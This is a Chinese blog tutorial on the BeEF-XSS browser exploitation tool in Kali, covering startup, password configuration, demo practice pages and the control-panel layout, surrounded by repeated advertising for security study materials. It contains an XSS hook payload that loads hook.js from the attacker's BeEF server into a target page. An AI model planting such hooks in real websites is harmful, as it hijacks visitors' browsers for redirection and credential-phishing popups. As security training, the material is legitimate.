网络安全最全Beefxss使用教程图文教程（超详细）_怎么把beef改成公网ip(3)，2024春招面试

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取

「作者主页」：士别三日wyx
「作者简介」：CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者

Beefxss

• 一、首次使用
• 二、修改账号密码
• 三、自带练习页面
• 四、简单使用
• 五、工具界面介绍
• 六、功能演示
• • 1、网页重定向
    • 2、社工弹窗
    • 3、功能颜色标识
• 七、工具原理

Beef-XSS是一款功能强大的
「XSS漏洞利用工具」，kali自带，基于Ruby语言开发。

一、首次使用

在kali中搜索 beefxss，就能找到。

单击打开，会自动运行「beef-xss 服务」，并打开Web界面。

提示：如果弹出的Web界面提示链接失败，可以关掉终端命令行，重新打开一次beef xss。

换成kali虚拟机的IP，也可以在物理机上访问Web界面：http://127.0.0.1:3000/ui/panel

二、修改账号密码

初次使用会让你设置密码，如果密码忘了，可以到 /usr/share/beef-xss/config.yaml 查看，这是Beff-xx的「配置文件」，用来保存版本、密码等配置信息。

修改密码可以直接修改文件中passwd这个字段，重启beef-xx服务后生效。

# 1、编辑配置文件，修改passwd字段
vim /usr/share/beef-xss/config.yaml
# 2、重启beef-xss服务
systemctl restart beef-xss

三、自带练习页面

Beef-xss自带两个「练习页面」：

1. http://127.0.0.1:3000/demos/basic.html
2. http://127.0.0.1:3000/demos/butcher/index.html

复制链接到kali虚拟机即可访问。

如果想在物理机访问，就把链接中的IP改成kali虚拟机的IP。

四、简单使用

Beef-xss的打开界面中，给我们提供了一个范例，我们在目标网页「提交」这行JS代码，就可以使用工具了。

提交的时候记得把IP改成部署Beff-xss的主机IP。

我们拿第一个练习页面来举例，提交代码 <script src="http://192.168.31.101:3000/hook.js"></script>。

提交后，Beff-xss的Web界面，会多出一个「在线浏览器」。

把练习页面关掉，这个IP就会从在线浏览器中消失，进入「离线浏览器」。

再次打开练习页面，就会重新进入在线浏览器。

这就意味着，提交了XSS的网页，只有打开时，才可以被利用，关掉就不可利用。

五、工具界面介绍

beef-XSS界面有很多栏，重点是 Commands 栏的功能指令，其他的基本用不到，不用太留意。

1. Online Browsers：在线浏览器，工具定时发送链接请求，链接成功就会显示在这里。
2. Offline Browsers：离线浏览器
3. Getting Started：入门指南，官方的一些文档
4. Logs：日志，记录工具做过哪些操作
5. Zombies：僵尸，记录可以利用的目标站点
6. Current Browser：上线的浏览器，只有在目标在线的时候才会显示出来。
7. Details：细节，展示目标的IP、版本等信息
8. Logs：日志，记录目标浏览器做过哪些操作
9. Commands：指令，工具的核心，不同的指令对应不同的操作
   – Module Tree：模块树，可以使用的模块功能
   – Module Result History：模块使用记录
   – XXX：指令描述，解释这个功能是干什么用的，怎么使用

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

5014.png#pic_center)

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！